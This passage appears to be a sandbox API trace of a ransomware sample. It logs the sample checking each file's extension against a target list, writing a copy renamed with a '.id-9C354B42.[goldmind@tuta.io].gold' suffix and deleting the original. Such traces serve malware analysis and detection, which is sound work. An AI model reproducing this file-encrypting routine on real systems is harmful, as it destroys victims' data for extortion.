(lpString1=".7z", lpString2="MID") returned -1 [0094.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0094.468] lstrlenW (lpString=".dbf") returned 4 [0094.468] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0094.468] lstrlenW (lpString=".1cd") returned 4 [0094.468] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0094.468] lstrlenW (lpString=".jpg") returned 4 [0094.468] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0094.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0094.468] lstrlenW (lpString=".doc") returned 4 [0094.468] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.468] lstrlenW (lpString=".docx") returned 5 [0094.468] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.468] lstrlenW (lpString=".pdf") returned 4 [0094.468] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.468] lstrlenW (lpString=".xls") returned 4 [0094.468] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.468] lstrlenW (lpString=".xlsx") returned 5 [0094.468] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.468] lstrlenW (lpString=".ppt") returned 4 [0094.468] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0094.468] lstrlenW (lpString=".zip") returned 4 [0094.468] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.468] lstrlenW (lpString=".rar") returned 4 [0094.468] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.468] lstrlenW (lpString=".bz2") returned 4 [0094.468] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.468] lstrlenW (lpString=".7z") returned 3 [0094.468] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0094.468] lstrlenW (lpString=".dbf") returned 4 [0094.468] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0094.468] lstrlenW (lpString=".1cd") returned 4 [0094.468] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0094.468] lstrlenW (lpString=".jpg") returned 4 [0094.468] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.468] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.468] lstrlenW (lpString="PARNT_03.MID") returned 12 [0094.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.469] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=8538) returned 1 [0094.469] CloseHandle (hObject=0x3a8) returned 1 [0094.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 0x20 [0094.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.469] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.469] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.470] GetLastError () returned 0x0 [0094.470] ReadFile (in: hFile=0x3a8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x215a, lpOverlapped=0x0) returned 1 [0094.471] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x2160, lpOverlapped=0x0) returned 1 [0094.472] ReadFile (in: hFile=0x3a8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.472] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.472] SetEndOfFile (hFile=0x398) returned 1 [0094.472] CloseHandle (hObject=0x398) returned 1 [0094.472] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.472] SetEndOfFile (hFile=0x3a8) returned 1 [0094.474] CloseHandle (hObject=0x3a8) returned 1 [0094.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0094.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0094.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0094.475] lstrlenW (lpString=".doc") returned 4 [0094.475] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.475] lstrlenW (lpString=".docx") returned 5 [0094.475] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0094.475] lstrlenW (lpString=".pdf") returned 4 [0094.475] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.475] lstrlenW (lpString=".xls") returned 4 [0094.475] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.475] lstrlenW (lpString=".xlsx") returned 5 [0094.475] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0094.475] lstrlenW (lpString=".ppt") returned 4 [0094.475] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0094.475] lstrlenW (lpString=".zip") returned 4 [0094.475] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.475] lstrlenW (lpString=".rar") returned 4 [0094.475] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.475] lstrlenW (lpString=".bz2") returned 4 [0094.475] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.475] lstrlenW (lpString=".7z") returned 3 [0094.475] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0094.475] lstrlenW (lpString=".dbf") returned 4 [0094.475] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0094.475] lstrlenW (lpString=".1cd") returned 4 [0094.475] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0094.475] lstrlenW (lpString=".jpg") returned 4 [0094.475] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0094.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0094.475] lstrlenW (lpString=".doc") returned 4 [0094.475] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.475] lstrlenW (lpString=".docx") returned 5 [0094.475] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0094.475] lstrlenW (lpString=".pdf") returned 4 [0094.475] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.475] lstrlenW (lpString=".xls") returned 4 [0094.475] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.475] lstrlenW (lpString=".xlsx") returned 5 [0094.475] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0094.475] lstrlenW (lpString=".ppt") returned 4 [0094.475] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0094.475] lstrlenW (lpString=".zip") returned 4 [0094.475] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.475] lstrlenW (lpString=".rar") returned 4 [0094.475] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.475] lstrlenW (lpString=".bz2") returned 4 [0094.475] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.475] lstrlenW (lpString=".7z") returned 3 [0094.476] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0094.476] lstrlenW (lpString=".dbf") returned 4 [0094.476] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0094.476] lstrlenW (lpString=".1cd") returned 4 [0094.476] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0094.476] lstrlenW (lpString=".jpg") returned 4 [0094.476] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.476] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.476] lstrlenW (lpString="PARNT_04.MID") returned 12 [0094.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.477] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=6070) returned 1 [0094.477] CloseHandle (hObject=0x3a8) returned 1 [0094.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 0x20 [0094.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.477] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.477] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.478] GetLastError () returned 0x0 [0094.478] ReadFile (in: hFile=0x3a8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x17b6, lpOverlapped=0x0) returned 1 [0094.479] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x17c0, lpOverlapped=0x0) returned 1 [0094.480] ReadFile (in: hFile=0x3a8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.480] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.480] SetEndOfFile (hFile=0x398) returned 1 [0094.480] CloseHandle (hObject=0x398) returned 1 [0094.480] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.480] SetEndOfFile (hFile=0x3a8) returned 1 [0094.482] CloseHandle (hObject=0x3a8) returned 1 [0094.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0094.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0094.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0094.483] lstrlenW (lpString=".doc") returned 4 [0094.483] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.483] lstrlenW (lpString=".docx") returned 5 [0094.483] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0094.483] lstrlenW (lpString=".pdf") returned 4 [0094.483] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.483] lstrlenW (lpString=".xls") returned 4 [0094.483] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.483] lstrlenW (lpString=".xlsx") returned 5 [0094.483] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0094.483] lstrlenW (lpString=".ppt") returned 4 [0094.483] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0094.483] lstrlenW (lpString=".zip") returned 4 [0094.483] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.483] lstrlenW (lpString=".rar") returned 4 [0094.483] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.483] lstrlenW (lpString=".bz2") returned 4 [0094.483] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.483] lstrlenW (lpString=".7z") returned 3 [0094.483] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0094.483] lstrlenW (lpString=".dbf") returned 4 [0094.483] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0094.483] lstrlenW (lpString=".1cd") returned 4 [0094.483] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0094.483] lstrlenW (lpString=".jpg") returned 4 [0094.483] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0094.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0094.484] lstrlenW (lpString=".doc") returned 4 [0094.484] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.484] lstrlenW (lpString=".docx") returned 5 [0094.484] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0094.484] lstrlenW (lpString=".pdf") returned 4 [0094.484] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.484] lstrlenW (lpString=".xls") returned 4 [0094.484] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.484] lstrlenW (lpString=".xlsx") returned 5 [0094.484] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0094.484] lstrlenW (lpString=".ppt") returned 4 [0094.484] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0094.484] lstrlenW (lpString=".zip") returned 4 [0094.484] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.484] lstrlenW (lpString=".rar") returned 4 [0094.484] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.484] lstrlenW (lpString=".bz2") returned 4 [0094.484] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.484] lstrlenW (lpString=".7z") returned 3 [0094.484] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0094.484] lstrlenW (lpString=".dbf") returned 4 [0094.484] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0094.484] lstrlenW (lpString=".1cd") returned 4 [0094.484] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0094.484] lstrlenW (lpString=".jpg") returned 4 [0094.484] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.484] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.484] lstrlenW (lpString="PARNT_05.MID") returned 12 [0094.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.485] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=6020) returned 1 [0094.485] CloseHandle (hObject=0x3a8) returned 1 [0094.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 0x20 [0094.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.486] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.486] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0094.486] GetLastError () returned 0x0 [0094.486] ReadFile (in: hFile=0x3a8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x1784, lpOverlapped=0x0) returned 1 [0094.487] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x1790, lpOverlapped=0x0) returned 1 [0094.488] ReadFile (in: hFile=0x3a8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.488] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.488] SetEndOfFile (hFile=0x398) returned 1 [0094.488] CloseHandle (hObject=0x398) returned 1 [0094.488] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.488] SetEndOfFile (hFile=0x3a8) returned 1 [0094.490] CloseHandle (hObject=0x3a8) returned 1 [0094.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0094.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0094.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0094.491] lstrlenW (lpString=".doc") returned 4 [0094.491] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.491] lstrlenW (lpString=".docx") returned 5 [0094.491] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0094.491] lstrlenW (lpString=".pdf") returned 4 [0094.491] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.491] lstrlenW (lpString=".xls") returned 4 [0094.491] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.491] lstrlenW (lpString=".xlsx") returned 5 [0094.491] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0094.491] lstrlenW (lpString=".ppt") returned 4 [0094.491] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0094.491] lstrlenW (lpString=".zip") returned 4 [0094.491] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.491] lstrlenW (lpString=".rar") returned 4 [0094.491] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.491] lstrlenW (lpString=".bz2") returned 4 [0094.491] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.491] lstrlenW (lpString=".7z") returned 3 [0094.491] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0094.491] lstrlenW (lpString=".dbf") returned 4 [0094.491] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0094.491] lstrlenW (lpString=".1cd") returned 4 [0094.491] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0094.491] lstrlenW (lpString=".jpg") returned 4 [0094.491] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0094.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0094.491] lstrlenW (lpString=".doc") returned 4 